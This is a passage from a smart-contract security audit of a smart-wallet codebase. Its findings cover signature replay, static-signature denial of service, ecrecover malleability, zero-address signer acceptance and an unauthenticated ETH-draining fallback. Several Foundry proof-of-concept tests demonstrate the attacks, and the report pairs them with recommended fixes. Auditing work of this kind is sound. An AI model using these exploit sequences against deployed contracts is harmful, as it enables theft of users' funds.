  if (callSignature.sessionSigner == address(0)) {
    revert SessionErrors.InvalidSessionSigner(address(0));
  }
}
```

Consider the following: - Original Payload: Calls [A, B, C] with signatures [SigA, SigB, SigC] - Execution: [A: succeed, B: succeed, C: revert] - Result: Entire transaction reverts, nonce remains unused - Attack: Extract [A, B] with [SigA, SigB] and replay as new execution

Impact 1. Enabling attackers to execute the calls that were intended to be part of a larger atomic opeartion, potentially causing financial loss or state inconistencies. 2. Frontrunning multi-call sessions to execute only a subset of calls, disrupting the intended operation.

Proof of Concepts

Paste the following test code in a new file `PartialSignatureReplayAttack.t.sol`

Proof Of Code

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.27;

import { ExtendedSessionTestBase, Factory } from "../../integrations/
    extensions/sessions/ExtendedSessionTestBase.sol";

import { Stage1Module } from "src/Stage1Module.sol";
import { SessionPermissions, SessionUsageLimits } from "src/extensions/
    sessions/explicit/IExplicitSessionManager.sol";
import {
  ParameterOperation, ParameterRule, Permission, UsageLimit
} from "src/extensions/sessions/explicit/Permission.sol";
import { Payload } from "src/modules/Payload.sol";
import { Emitter } from "test/mocks/Emitter.sol";
import { PrimitivesRPC } from "test/utils/PrimitivesRPC.sol";
import { console2 } from 'forge-std/console2.sol';

contract PartialSignatureReplayAttack is ExtendedSessionTestBase {

  function test_execute_partial_Signature_Replay_Attack() external {
    Emitter emitter = new Emitter();
    Payload.Decoded memory payloadWalletA = _buildPayload(2);
    //creating payloads
    payloadWalletA.calls[0] = Payload.Call({
      to: address(emitter),
      value: 0,
      data: abi.encodeWithSelector(emitter.explicitEmit.selector),
      gasLimit: 10_000,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
    });

    //creating this payload to fail, so the nonce couldn't be consumed
    payloadWalletA.calls[1] = Payload.Call({
      to: address(emitter),
      value: 1000000000000000000, //1 ether
      data: abi.encodeWithSelector(emitter.receiveEther.selector),
      gasLimit: 21_000,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
    });

    bytes memory packedPayloadA = PrimitivesRPC.toPackedPayload(vm,
        payloadWalletA);

    // Session permissions
    SessionPermissions memory sessionPerms = SessionPermissions({
      signer: sessionWallet.addr,
      chainId: block.chainid,
      valueLimit: 0,
      deadline: uint64(block.timestamp + 1 days),
      permissions: new Permission[](2)
    });

    sessionPerms.permissions[0] = Permission({ target: address(emitter)
        , rules: new ParameterRule[](0) });
    sessionPerms.permissions[1] = Permission({ target: address(emitter)
        , rules: new ParameterRule[](0) });

    string memory topology = PrimitivesRPC.sessionEmpty(vm,
        identityWallet.addr);
    string memory sessionPermsJson = _sessionPermissionsToJSON(
        sessionPerms);
    topology = PrimitivesRPC.sessionExplicitAdd(vm, sessionPermsJson,
        topology);
    (Stage1Module walletA, string memory configA, bytes32 imageHashA) =
         _createWallet(topology);

    Factory secondaryFactory = new Factory();
    Stage1Module secondaryModule = new Stage1Module(address(
        secondaryFactory), address(entryPoint));
    //deploying another wallet that shares the same configuration as
        walletA
    Stage1Module walletB = Stage1Module(payable(secondaryFactory.deploy
        (address(secondaryModule), imageHashA)));

    uint8[] memory permissionIndx = new uint8[](2);
    permissionIndx[0] = 0;
    permissionIndx[0] = 1;
    bytes memory signatureA = _validExplicitSignature(payloadWalletA,
        sessionWallet, configA, topology, permissionIndx);

    //Execute the payload using the encodedSignature of wallet A ->
        legitimate and reverts due to insufficient funds => nonce not
        consumed
    vm.prank(address(walletA));
    vm.expectRevert();
    walletA.execute(packedPayloadA, signatureA);

    //Wallet B reusing the signature of wallet A and executing the
        partial payload by just calling call[0]
    Payload.Call[] memory calls = payloadWalletA.calls;
    assembly{
        mstore(calls,1)
    }

    bytes memory packedPayloadB = PrimitivesRPC.toPackedPayload(vm,
        payloadWalletA);

    Permission[] memory permissions = sessionPerms.permissions;
    assembly {
        mstore(permissions, 1)
    }
    vm.prank(address(walletB));
    //Signature replay arrack with partial payload
    walletB.execute(packedPayloadB, signatureA);
  }
}
```

Recommended mitigation

[M-4] Static signatures are broken in ERC-4337 context, leading to denial of service

Description Sequence wallet supports static signatures as per ERC-4337, allowing users to provide pre-computed signatures that do not require on-chain verification. However, the current implementation does not correctly handle static signatures in the context of account abstraction, leading to potential denial of service when such signatures are used.

`validateUserOp()` enforces the msg.sender to be `entryPoint`, but then performs signature verification via an external call to itself `this.isValidSignature(userOpHash, userOp.signature)`, changing the context of msg.sender to the wallet itself. As a result, when a static signature is provided, the `BaseAuth.signatureValidation()` attempts to verify the signature against the wallet's own address instead of the expected signature extracted from the static signature.

```
if (addr != address(0) && addr != msg.sender) {
        revert InvalidStaticSignatureWrongCaller(opHash, msg.sender,
            addr);
}
```

Hence, any static signature provided will fail verification unless it is specifically crafted to match the wallet's address, which is not feasible in practice. This leads to a denial of service for users attempting to utilize static signatures.

Code Eample from `BaseAuth.sol`:

```
function signatureValidation(
    Payload.Decoded memory _payload,
    bytes calldata _signature
  ) internal view virtual returns (bool isValid, bytes32 opHash) {
    // Read first bit to determine if static signature is used
    bytes1 signatureFlag = _signature[0];

    if (signatureFlag & 0x80 == 0x80) {
      opHash = _payload.hash();

      (address addr, uint256 timestamp) = _getStaticSignature(opHash);
      if (timestamp <= block.timestamp) {
        revert InvalidStaticSignatureExpired(opHash, timestamp);
      }
@>    if (addr != address(0) && addr != msg.sender) {
        revert InvalidStaticSignatureWrongCaller(opHash, msg.sender,
            addr);
      }

      return (true, opHash);
    }
    [...]
  }
```

Impact The issue breaks a supported signature mode (static signatures with bound caller) for ERC-4337 flows, preventing valid operations and enabling **DoS** when such approvals are required. It does not compromise signature forgery or funds directly, but it blocks operations that depend on caller-bound static signatures and causes systemic failures in those paths.

Proof of Concepts

```
   function test_validateUserOp_reverts_on_ERC4337_StaticSignature(
    bytes32 userOpHash
  ) public {
    // Create a signature for the userOpHash using the wallet's signer
        config.
    Payload.Decoded memory payload;
    payload.kind = Payload.KIND_DIGEST;
    payload.digest = userOpHash;

    bytes32 opHash = Payload.hashFor(payload, wallet);

    // Set the static signature
    uint256 validUntil = block.timestamp + 1 days;
    vm.prank(wallet);
    vm.expectEmit(true, true, false, true, wallet);
    emit StaticSignatureSet(Payload.hashFor(payload, wallet), address(
        entryPoint), uint96(validUntil));
    Stage1Module(wallet).setStaticSignature(opHash, address(entryPoint)
        , uint96(validUntil));

    (address addr, uint256 timestamp) = Stage1Module(wallet).
        getStaticSignature(opHash);
    assertEq(addr, address(entryPoint));
    assertEq(timestamp, validUntil);

    PackedUserOperation memory userOp = _createUserOp(bytes(""),  hex"
        80");
    vm.prank(address(entryPoint));
    //Proving that validateUserOp reverts due to wrong comparison of
        msg.sender and static signature addr
    vm.expectPartialRevert(BaseAuth.InvalidStaticSignatureWrongCaller.
        selector);
    Stage1Module(wallet).validateUserOp(userOp, userOpHash, 0);
  }
```

Recommended mitigation Avoid the external self-call and explicitly propagate the intended caller into signature validation so that static signatures bound to the entrypoint succeed under ERC-4337.

[M-5] `recoverSapientSignature` of `BaseAuth.sol` returns a constant instead of signer image hash, breaking sapient signature recovery

Description BaseAuth.sol's `recoverSapientSignature` function is intended to recover the signer's image hash from a Sapient signature. However, the function currently returns a constant value of `bytes32(1)` instead of the actual recovered image hash. This flaw prevents the correct verification of Sapient signatures, as the recovered image hash is essential for validating the signature against the wallet's configuration.

Code Example from `BaseAuth.sol`:

```
  function recoverSapientSignature(
    Payload.Decoded memory _payload,
    bytes calldata _signature
  ) external view returns (bytes32) {
    // Copy parent wallets + add caller at the end
    address[] memory parentWallets = new address[](_payload.
        parentWallets.length + 1);

    for (uint256 i = 0; i < _payload.parentWallets.length; i++) {
      parentWallets[i] = _payload.parentWallets[i];
    }
    parentWallets[_payload.parentWallets.length] = msg.sender;
    _payload.parentWallets = parentWallets;

    (bool isValid,) = signatureValidation(_payload, _signature);
    if (!isValid) {
      revert InvalidSapientSignature(_payload, _signature);
    }

@>    return bytes32(uint256(1));
  }
```

Impact 1. Sapient signatures cannot be correctly verified, leading to potential rejection of valid signatures. 2. Users relying on Sapient signatures may experience failures in transaction execution or configuration updates. 3. This issue undermines the correct of merkle image reconstruction, a core invariant of the system.

Proof of Concepts Find the POC for this finding in RecoverSapientSignatureConstant.sol

Recommended mitigation Return the actual signer image hash from `BaseAuth.recoverSapientSignature()` to conform to *ISapient* and maintain merkle image correctness.

Two straightforward approaches: - Extend `signatureValidation(...)` to also return the derived imageHash (it already computes it in the dynamic branch via `BaseSig.recover(...)`) and return that from `recoverSapientSignature()`. - Or directly call `BaseSig.recover(_payload, _signature, false, address(0))` inside `recoverSapientSignature()` and return the imageHash.

Low

[L-1] Nested `staticcall()` revert in WebAuthn library results in incorrect messageHash

Description In the `WebAuthn` library, the `verify()` function checks that a valid P256 signature has been provided over the message hash `sha256(authenticatorData || sha256(clientDataJSON))`. This message hash is calculated using the following logic:

1. Compute `sha256(clientDataJSON)`
2. Compute `sha256(authenticatorData || sha256(clientDataJSON))`

Code Example from `WebAuthn.sol`

```
if result {
   let p := add(mload(auth), 0x20) // Start of `authenticatorData`'s bytes.
   let e := add(p, l) // Location of the word after `authenticatorData`.
   let w := mload(e) // Cache the word after `authenticatorData`.
   // 19. Compute `sha256(clientDataJSON)`.
   // 20. Compute `sha256(authenticatorData || sha256(clientDataJSON))`.
   // forgefmt: disable-next-item
@> messageHash := mload(staticcall(gas(),
         shl(1, staticcall(gas(), 2, o, n, e, 0x20)), p, add(l, 0x20), 0x01, 0x20))
   mstore(e, w) // Restore the word after `authenticatorData`, in case of reuse.
   // `returndatasize()` is `0x20` on `sha256` success, and `0x00` otherwise.
   if iszero(returndatasize()) { invalid() }
  }
```

This calculation involves two nested calls to the SHA256 precompile. The inner call calculates `sha256(clientDataJSON)`, and the outer call calculates `sha256(authenticatorData || sha256(clientDataJSON))`. After both calls, there is a `returndatasize()` check, which ensures that the outer `staticcall()` succeeded, but does not guarantee that the inner `staticcall()` succeeded.

Since the SHA256 precompile's gas cost depends on its input size, the inner `staticcall()` can fail with an out-of-gas error while the outer `staticcall()` succeeds.

Fortunately, this behavior seems unlikely to be exploitable. This is because the return value of the inner call is used as the memory location for the outer call's output. This means that the situation described would result in the final hash placed in memory 0x00, but would be read starting at memory 0x01. So, the overall messageHash would be a SHA256 hash shifted left by one byte, with one random byte coming from memory location 0x20.

Since this result would not be a direct SHA256 hash, it's unlikely for an attacker to have a valid signature over this malformed messageHash.

Impact Potential for incorrect messageHash calculation if the inner `staticcall()` fails, leading to unexpected behavior in signature verification.

Recommended mitigation Consider preventing this behavior altogether. For example, consider separating the two nested calls so they each can have their own `returndatasize()` checks.

```
// Compute sha256(clientDataJSON)
+ let innerSuccess := staticcall(gas(), 2, o, n, e, 0x20)
if iszero(returndatasize()) { invalid() }

// Compute sha256(authenticatorData || sha256(clientDataJSON))
```

```
let outerSuccess := staticcall(gas(), 2, p, add(l, 0x20), 0x01, 0x20)
if iszero(returndatasize()) { invalid() }

messageHash := mload(e)
```

[L-2] `ERC4337v07` Cannot Receive Native Token

Description The `ERC4337v07` contract appears to support native token transfer through its `validateUserOp` function by way of depositing **missingAccountFunds** to *entryPoint* contract. This field allows specifying an ETH value to be sent with `validateUserOp` operation. However, the contract itself is not capable of receiving ETH due to two related limitations:

1. The contract lacks a `receive()` or payable `fallback()` function, which are necessary for a contract to accept native token transfers.
2. The `validateUserOp` function is not marked as `payable`, preventing it from receiving ETH during its execution.
3. The constructor is not marked payable either.

Impact The contract will revert upon receiving ETH. This renders any strategy involving native token transfers infeasible under normal execution paths.

Recommended mitigation 1. Consider marking the **constructor** as *payable*.

2. Additionally (or alternatively), exposing a *receive()* function or marking the existing fallback as payable would enable native token reception. Either approach would resolve the inconsistency and allow the smart wallet to support ETH-based workflows as designed.

[L-3] Using `ecrecover` directly vulnerable to signature malleability

Description The `ecrecover` function is susceptible to signature malleability. This means that the same message can be signed in multiple ways, allowing an attacker to change the message signature without invalidating it. This can lead to unexpected behavior in smart contracts, such as the loss of funds or the ability to bypass access control.

5 Found Instances

- Found in src/extensions/recovery/Recovery.sol Line: 203

  ```
      address addr = ecrecover(rPayloadHash, v, r, s);
  ```

- Found in src/extensions/sessions/SessionSig.sol Line: 116

```
    address recoveredIdentitySigner = ecrecover(attestationHash, v
        , r, s);
```

- Found in src/extensions/sessions/SessionSig.sol Line: 170

```
    callSignature.sessionSigner = ecrecover(callHash, v, r, s);
```

- Found in src/modules/auth/BaseSig.sol Line: 233

```
    address addr = ecrecover(_opHash, v, r, s);
```

- Found in src/modules/auth/BaseSig.sol Line: 398

```
    address addr = ecrecover(keccak256(abi.encodePacked("\
        x19Ethereum Signed Message:\n32", _opHash)), v, r, s);
```

Impact An attacker could exploit signature malleability to create different valid signatures for the same message, potentially leading to unauthorized actions or fund transfers.

Recommended mitigation Consider using OpenZeppelin's ECDSA library instead of the built-in function.

[L-4] Missing validation for zero address in constructor parameter of ERC4337v07 contract

Description The constructor accepts an `_entryPoint` address parameter but does not validate whether it is the zero address. Passing an invalid (zero) address would lead to an unusable contract instance.

Impact If the contract is deployed with a zero `_entryPoint`, all subsequent interactions depending on it may fail or behave unexpectedly, potentially bricking the contract instance or blocking its integration with the **ERC-4337** infrastructure.

Recommended mitigation Add a validation check in the constructor of `ERC4337v07` contract to ensure that `_entryPoint` is not the zero address:

```
constructor(address _entryPoint){
+    require(_entryPoint != address(0), "Invalid entry point");
     entryPoint = _entryPoint;
}
```

[L-5] Lack of domain separation in passkey root calculation in `_rootForPasskey` allows for cross-implementation image hash equivalence

Description : The `_rootForPasskey` function computes a configuration root using only the **public key coordinates (x,y), verification flag, and metadata** without including any domain separation parameters. As a result, any other signer implementation that happens to combine the same four inputs with the same hash structure can return the same root for the same inputs.

Impact 1. *Cross-Implementation Confusion:* Systems that approve roots without validating the signer contract address can be tricked into accepting unverified signatures.

2. *Versioning Attacks:* Future upgrades cannot cleanly migrate as old and new implementations would produce conflicting roots
3. *Off-Chain System Compromise:* Monitoring tools, indexers, and whitelists that track roots without signer context can be bypassed

Proof of Concepts 1. Deploy two different signer contracts (e.g., `PasskeysLike1` and `OtherSigner`) that both implement the same root calculation logic in `_rootForPasskey`. 2. Deploy another contract (e.g., `WalletAuthenticator`) that uses these signers to authenticate signatures based on the computed root. 3. Call the `authenticate` function of `WalletAuthenticator` with a signature generated for `PasskeysLike1` and observe that it is also accepted when using `OtherSigner`, demonstrating that the same root is produced by both implementations.

Create a new test file `RootForPasskey.t.sol` in the test folder with the following content:

Proof of Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import { Test } from "forge-std/Test.sol";

/// Minimal interface compatible with Sequence-style sapient signer
interface ISapientCompact {

  function recoverSapientSignatureCompact(bytes32 digest, bytes
      calldata signature) external view returns (bytes32);

}

library HashUtil {

  function fkeccak(bytes32 a, bytes32 b) internal pure returns (bytes32
      ) {
    return keccak256(abi.encodePacked(a, b));
  }

  // This mirrors Passkeys._rootForPasskey structure (no domain separation!)
  function passkeysLikeRoot(
    bool requireUserVerification,
    bytes32 x,
    bytes32 y,
    bytes32 metadata
  ) internal pure returns (bytes32) {
    bytes32 a = fkeccak(x, y);
    bytes32 ruv = bytes32(uint256(requireUserVerification ? 1 : 0));
    bytes32 b = fkeccak(ruv, metadata);
    return fkeccak(a, b);
  }

}

contract PasskeysLike1 is ISapientCompact {

  function recoverSapientSignatureCompact(bytes32, /*digest*/ bytes calldata signature) external pure returns (bytes32) {
    (bool ruv, bytes32 x, bytes32 y, bytes32 metadata) = abi.decode(signature, (bool, bytes32, bytes32, bytes32));
    return HashUtil.passkeysLikeRoot(ruv, x, y, metadata);
  }

}

contract OtherSiger is ISapientCompact {

  function recoverSapientSignatureCompact(bytes32, /*digest*/ bytes calldata signature) external pure returns (bytes32) {
    (bool ruv, bytes32 x, bytes32 y, bytes32 metadata) = abi.decode(signature, (bool, bytes32, bytes32, bytes32));
    return HashUtil.passkeysLikeRoot(ruv, x, y, metadata);
  }

}

contract WalletRootAuthenticator {

  bytes32 public imageHash;

  //@note storing image hash without including domain separation information
  function setImageHash(
    bytes32 h
  ) external {
    imageHash = h;
  }
  function authenticate(address signer, bytes32 digest, bytes calldata signature) external view returns (bool) {
    bytes32 root = ISapientCompact(signer).recoverSapientSignatureCompact(digest, signature);
    return root == imageHash; // BUG: does not bind signer address/type!
  }

}

contract TestPoc is Test {

  WalletRootAuthenticator walletAuthenticator;
  PasskeysLike1 passkeysLike1;
  OtherSiger otherSiger;

  function setUp() external {
    walletAuthenticator = new WalletRootAuthenticator();
    passkeysLike1 = new PasskeysLike1();
    otherSiger = new OtherSiger();
  }

  function test_authentication_passes_from_malicious_signer() external {
    bytes32 x = keccak256("pubkeyX");
    bytes32 y = keccak256("pubkeyY");
    bytes32 metadata = keccak256("metadata");
    bool ruv = true;
    bytes32 expectedImageHash = HashUtil.passkeysLikeRoot(ruv, x, y, metadata);

    walletAuthenticator.setImageHash(expectedImageHash);
    bytes memory signature = abi.encode(ruv,x,y,metadata);

    bool fromPassKeySigner = walletAuthenticator.authenticate(address(passkeysLike1), bytes32(0), signature);
    bool fromOtherSigner = walletAuthenticator.authenticate(address(otherSiger), bytes32(0), signature);

    assertEq(fromPassKeySigner, true);
    assertEq(fromOtherSigner, true);
  }

}
```

Recommended mitigation Mix a constant type/version tag and/or the signer contract address into the root derivation so that a different implementation can never produce the same root for identical (x, y, ruv, metadata).

```
// Example: strong domain separation
bytes32 constant PASSKEYS_V1_DOMAIN = keccak256("
    SEQUENCE_SAPIENT_PASSKEYS_V1");

function _rootForPasskey(
    bool _requireUserVerification,
    bytes32 _x,
    bytes32 _y,
    bytes32 _metadata
) internal pure returns (bytes32) {
    bytes32 leaf = keccak256(abi.encodePacked("leaf", _x, _y));
    bytes32 ruv  = bytes32(uint256(_requireUserVerification ? 1 : 0));
    bytes32 aux  = keccak256(abi.encodePacked("aux", ruv, _metadata));

    // Include domain tag AND the signer contract address (hardest to
        spoof)
    return keccak256(
        abi.encodePacked(PASSKEYS_V1_DOMAIN, address(this), leaf, aux)
    );
}
```

[L-6] Zero-address signer accepted in recovery queue via `queuePayload` of `Recovery.sol` allows unauthorized queue entries with signers as `address(0)`

Description The recovery queue authorization mechanism incorrectly accepts ECDSA signature verification failures as valid signatures when the provided signer is `address(0)`. This allows any caller to queue recovery payloads via `queuePayload` for any wallet without possessing valid signatures, potentially enabling storage bloat attacks and unauthorized queue entries.

The `isValidSignature()` function in the `Recovery.sol` contract contains a logic flaw when handling ECDSA signature verification for the zero address. When `ecrecover()` is called with an invalid signature, it returns `address(0)` to indicate failure. However, if the caller provides _signer as `address(0)`, the function incorrectly treats this as a successful match and returns true.

The vulnerability occurs specifically in the ECDSA signature verification path when the signature length is 64 bytes. The code extracts the signature components and calls `ecrecover()`, but fails to distinguish between a legitimate `zero-address signer` and an `ecrecover()` failure.

Code Example from `Recovery.sol`

```
function isValidSignature(
    address _wallet,
    address _signer,
    Payload.Decoded calldata _payload,
    bytes calldata _signature
  ) internal view returns (bool) {
    bytes32 rPayloadHash = recoveryPayloadHash(_wallet, _payload);

    if (_signature.length == 64) {
      // Try an ECDSA signature
      [...]

      address addr = ecrecover(rPayloadHash, v, r, s);

@>    if (addr == _signer) {
        return true;
      }
    }
    [...]
  }
}
```

Impact 1. The primary impact is the ability to create unauthorized queue entries for any wallet under the zero-address signer. 2. This enables storage bloat attacks where an attacker can spam arbitrary payload hashes into the queuedPayloadHashes mapping, increasing on-chain storage costs and potentially disrupting operational flows that enumerate queued entries.

Proof of Concepts 1. Calling `queuePayload()` with _signer set to `address(0)` 2. Providing any 64-byte garbage data as the signature 3. The `ecrecover()` call fails and returns `address(0)` 4. The comparison `addr == _signer` evaluates to true (both are zero) 5. The function incorrectly authorizes the operation and writes to `timestampForQueuedPayload` and `queuedPayloadHashes`

Find the proof of code in the test file `Recovery.t.sol`:

Proof of Code

```
  function test_queue_payload_with_address_zero_signer(
    address _wallet,
    Payload.Decoded memory _payload,
    uint64 _randomTime
    ) external {

    boundToLegalPayload(_payload);

    vm.warp(_randomTime);

    bytes32 r = bytes32(uint256(0));  // Invalid r
    bytes32 s = bytes32(uint256(0));  // Invalid s
    uint8 v = 27;
    bytes32 yParityAndS = bytes32((uint256(v - 27) << 255) | uint256(s)
      );
    bytes memory signature = abi.encodePacked(r, yParityAndS);
    bytes32 payloadHash = Payload.hashFor(_payload, _wallet);

    vm.expectEmit(true, true, true, true, address(recovery));
    emit Recovery.NewQueuedPayload(_wallet, address(0), payloadHash,
       block.timestamp);

    recovery.queuePayload(_wallet, address(0),_payload, signature);
}
```

Recommended mitigation Consider implementing explicit validation to reject the zero address as a valid signer in the ECDSA verification path. One approach would be to add a check that ensures `_signer != address(0)` before proceeding with ECDSA verification, or alternatively, verify that `ecrecover()` returns a non-zero address before comparing it with the provided signer.

```
function isValidSignature(
  address _wallet,
  address _signer,
  Payload.Decoded calldata _payload,
  bytes calldata _signature
) internal view returns (bool) {
  bytes32 rPayloadHash = recoveryPayloadHash(_wallet, _payload);

  if (_signature.length == 64) {
    // Try an ECDSA signature
    bytes32 r;
    bytes32 s;
    uint8 v;
    (r, s, v,) = _signature.readRSVCompact(0);

    address addr = ecrecover(rPayloadHash, v, r, s);
-   if (addr == _signer) {
+   if (addr != address(0) && addr == _signer) {
      return true;
    }
  }
```

[L-7] Unbounded growth of recovery queue via `queuePayload` allows storage bloat

Description The Recovery contract maintains a `queuedPayloadHashes` mapping that stores arrays of payload hashes for each wallet-signer combination. When `queuePayload()` is called, it performs signature validation and then unconditionally appends the new payload hash to the corresponding array without any bounds checking or cleanup logic.

The function only verifies that the provided signature matches the specified signer before adding entries to the queue. No mechanism exists within the contract to remove processed payloads, expire old entries, or limit the total number of queued items per wallet-signer pair. Since any account can call `queuePayload()` with valid signatures from signers they control, the storage arrays can be expanded arbitrarily.

While the contract's core functionality relies on `timestampForQueuedPayload` lookups rather than array iteration, the unbounded growth creates persistent on-chain storage bloat that accumulates over time.

Impact 1. The primary impact is on-chain storage bloat as the queuedPayloadHashes arrays grow without bounds. This may contribute to increased node synchronization and archival costs across the network.

2. The current contract implementation does not iterate over these arrays, so there is no immediate execution denial-of-service risk or threat to protocol funds.

Recommended mitigation 1. Consider implementing a cleanup mechanism to prevent unbounded storage growth. One approach could be to add a maximum queue size per wallet-signer combination, automatically removing the oldest entries when the limit is reached.

2. Alternatively, consider implementing a time-based expiration system that removes payload hashes after a reasonable period, or add administrative functions to prune processed or stale entries. The specific approach should balance storage efficiency with the protocol's operational requirements for payload queuing and processing.

[L-8] `_dispatchGuest` of `Guest.sol` fails silently via behaviorOnError equal to 3 leading to wrong emission of `Guest.CallSucceeded` event

Description The `_dispatchGuest` function in `Guest.sol` mishandles sub-calls with `behaviorOnError = 3`. The `Payload.fromPackedCalls` function in `Payload.sol` extracts `behaviorOnError` as `(flags >> 6)& 0x03`, allowing values 0, 1, 2, or 3.

```
function fromPackedCalls(
    bytes calldata packed
  ) internal view returns (Decoded memory _decoded) {
    [...]
    // Last 2 bits are directly mapped to the behavior on error
    //@report-written since only 3 error cases are defined, need to
        check what would happen if error code == 0x03 happens to occur
    _decoded.calls[i].behaviorOnError = (flags & 0xC0) >> 6;
  }
```

In `_dispatchGuest`, failed sub-calls (success == false) are handled in an *if (!success) block, but behaviorOnError = 3* skips all branches (0: ignore, 1: revert, 2: abort).

Execution continues to the event emission block, where if `(!success && tx.behaviorOnError == 3)` evaluates to true, this will emit `CallSucceeded` event despite the failure due to unaccepted behaviorOnError value. This causes a silent failure, misleading off-chain indexers and users into believing the call succeeded.

Impact Breaks observability, as off-chain systems (e.g., indexers, user interfaces) rely on accurate event emissions to track transaction outcomes. Users may assume a transaction succeeded when it failed, leading to potential accounting errors or user confusion in batched transactions. No direct fund loss occurs, but the incorrect event emission impacts protocol correctness.

Proof of Concepts 1. Create a test case that constructs a packed payload with a sub-call having `behaviorOnError = 3`. 2. Ensure the sub-call fails by not having enough balance in `Guest` contract. 3. Verify that the `CallSucceeded` event is emitted despite the failure.

Find the proof of code in the test file `Guest.t.sol`:

Proof of Code

```
function
    test_fallback_Success_With_Invalid_Behavior_On_Error_set_as_3()
    external {
  uint8 globalFlag = 0x11; // 00010001 binary
  address randomAddress = makeAddr("random address");
  address[] memory parentWallets = new address[](0);
  Payload.Call[] memory calls = new Payload.Call[](1);
  calls[0] = Payload.Call({
    to: randomAddress,
    value: uint256(1000000000000000000),
    data: bytes(""),
    gasLimit: uint256(0),
    delegateCall: false,
    onlyFallback: false,
    behaviorOnError: uint256(3)
  });
  Payload.Decoded memory decodedNew = Payload.Decoded({
    kind: Payload.KIND_TRANSACTIONS,
    noChainId: false,
    // Transaction kind
    calls: calls,
    space: uint256(0),
    nonce: uint256(0),
    // Message kind
    message: bytes(""),
    // Config update kind
    imageHash: bytes32(0),
    // Digest kind for 1271
    digest: bytes32(0),
    // Parent wallets
    parentWallets: parentWallets
  });
  // Call flags = 0xC0 to 0xC3 for behaviorOnError = 3
  // We want self call to avoid providing address, so bit 0 = 1
  // behaviorOnError = 3 -> bits 6-7 = 11
  // So: 11000001 = 0xC1
  uint8 callFlags = 0xC2; // Self call + behaviorOnError = 3
```

```
    bytes memory packed = abi.encodePacked(
      uint8(globalFlag), // 0x11
      uint8(callFlags), // 0xC2
      randomAddress,
      uint256(1000000000000000000)
    );

    bytes32 opHash = Payload.hashFor(decodedNew, address(guest));
    vm.expectEmit(true, true, true, true);
    emit CallSucceeded(opHash, 0);
    vm.prank(address(guest));
    (bool ok,) = address(guest).call(packed);
    assertTrue(ok);
  }
```

Recommended mitigation Add default case or require behaviorOnError <= 2:

```
if (behaviorOnError > 2) revert InvalidBehavior();
```

or

```
if (!success) {
    if (behaviorOnError == 0) { /* ignore */ }
    else if (behaviorOnError == 1) { /* revert */ }
    else if (behaviorOnError == 2) { /* abort */ }
    else { revert InvalidBehavior(); }   // <-- catch 3
}
```

[L-9] `Guest.sol` allows anyone to drain ETH from its balance through unauthenticated payable fallback

Description The *Guest contract* implements a **payable fallback function** with no access control that decodes arbitrary payloads and executes calls via `LibOptim.call()`. While delegate calls are explicitly blocked, regular calls with ETH value transfers are permitted without restriction enabling any external account to invoke the fallback and transfer ETH from the Guest contract's balance to arbitrary addresses.

Code Example from `Guest.sol`

```
@>  fallback() external payable {
      Payload.Decoded memory decoded = Payload.fromPackedCalls(msg.data
          );
      console2.log(decoded.noChainId);
      bytes32 opHash = Payload.hash(decoded);
      _dispatchGuest(decoded, opHash);
  }
```

In `_dispatchGuest` the calls are executed as:

```
bool success = LibOptim.call(call.to, call.value, gasLimit == 0 ?
    gasleft() : gasLimit, call.data);
```

Impact If the Guest contract ever receives ETH (through accidental transfers, self-destruct recipients, or other means), any external party can craft a malicious payload to drain all ETH to an arbitrary address.

While the README states Guest is a "helper module" not intended to hold funds, the contract's payable nature means ETH can accumulate, and the lack of access control creates an unnecessary attack surface. Marking this issue as low severity due to the intended usage, but it remains a risk.

Proof of Concepts 1. Create a payload that encodes a call transferring ETH from Guest to an attacker-controlled address. 2. Invoke the payable fallback with this payload. 3. Verify that the ETH balance of Guest decreases and the attacker address receives the funds.

Find the proof of code in the test file `Guest.t.sol`:

Proof of Code

```
function test_fallback_For_Funds_Withdrawal_By_UnAuthorized_Users()
    external {
     uint8 globalFlag = 0x11; // 00010001 binary
     address myAddress = makeAddr("my address");
     vm.deal(myAddress, 0);
     address[] memory parentWallets = new address[](0);
     Payload.Call[] memory calls = new Payload.Call[](1);
     calls[0] = Payload.Call({
       to: myAddress,
       value: uint256(10000000000000000000),//10 ether
       data: bytes(""),
       gasLimit: uint256(0),
       delegateCall: false,
       onlyFallback: false,
       behaviorOnError: uint256(0)
     });
     Payload.Decoded memory decodedNew = Payload.Decoded({
       kind: Payload.KIND_TRANSACTIONS,
       noChainId: false,
       // Transaction kind
       calls: calls,
       space: uint256(0),
       nonce: uint256(0),
       // Message kind
       message: bytes(""),
       // Config update kind
       imageHash: bytes32(0),
       // Digest kind for 1271
       digest: bytes32(0),
       // Parent wallets
       parentWallets: parentWallets
     });

     uint8 callFlags = 0x02; // call has only value
     bytes memory packed = abi.encodePacked(
       uint8(globalFlag), // 0x11
       uint8(callFlags), // 0x02
       myAddress,
       uint256(10000000000000000000) //10 ether
     );

     bytes32 opHash = Payload.hashFor(decodedNew, address(guest));
     vm.expectEmit(true, true,true,true);
     emit CallSucceeded(opHash, 0);
     uint256 guestInitialBalance = 20 ether;
     hoax(address(guest),guestInitialBalance);
     (bool ok,) = address(guest).call(packed);
     assertTrue(ok);
     assertEq(address(guest).balance, 10 ether, "Guest balance not
        reduced");
     assertEq(myAddress.balance, 10 ether, "Balance not received");
 }
```

Recommended mitigation 1. Implement access control: If ETH handling is intentional, add authorization checks before allowing value transfers from the Guest contract's balance.

2. Remove payable fallback: If ETH transfers are not required, change the fallback function to non-payable to prevent any ETH from being sent to the contract.

3. Alternatively, implement a whitelist mechanism to restrict which addresses can invoke the fallback function for value transfers.

[L-10] Gas precheck doesn't account for `EIP-150's 63/64 rule`, causing calls to receive less gas than expected

Description The gas precheck logic in `_dispatchGuest` of `Guest.sol` and `_execute` of `Calls.sol` calculates the gas to forward to sub-calls based on the `gasLimit` specified in the payload. If `gasLimit` is zero, it forwards all remaining gas (`gasleft()`). However, this does not account for *EIP-150's 63/64 rule*, which reduces the gas available to a called contract to 63/64 of the gas sent to it.

When a user specifies gasLimit = X, the check passes if gasleft() >= X, but the actual call may only receive approximately X * 63/64 = ~0.984X gas. For calls requiring exactly X gas, this -1.6% shortfall causes unexpected out-of-gas failures despite passing the precheck.

Code Example from `Guest.sol`:

```
